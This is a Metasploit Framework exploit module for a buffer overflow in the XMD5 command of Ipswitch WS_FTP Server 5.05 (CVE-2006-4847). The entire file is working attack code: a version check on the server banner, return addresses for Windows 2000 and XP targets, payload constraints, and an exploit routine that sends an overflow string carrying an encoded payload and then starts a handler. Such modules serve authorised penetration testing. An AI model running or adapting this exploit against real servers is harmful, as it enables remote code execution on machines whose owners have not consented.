metasploit-framework/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
'Description' => %q{
This module exploits a buffer overflow in the XMD5 verb in
IPSWITCH WS_FTP Server 5.05.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-4847' ],
[ 'OSVDB', '28939' ],
[ 'BID', '20076' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
],
'DisclosureDate' => 'Sep 14 2006',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /WS_FTP Server 5.0.5/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
print_status("Trying target #{target.name}...")
sploit = rand_text_alphanumeric(676, payload_badchars)
sploit << [target.ret].pack('V') + payload.encoded
send_cmd( ['XMD5', sploit] , false)
handler
disconnect
end
end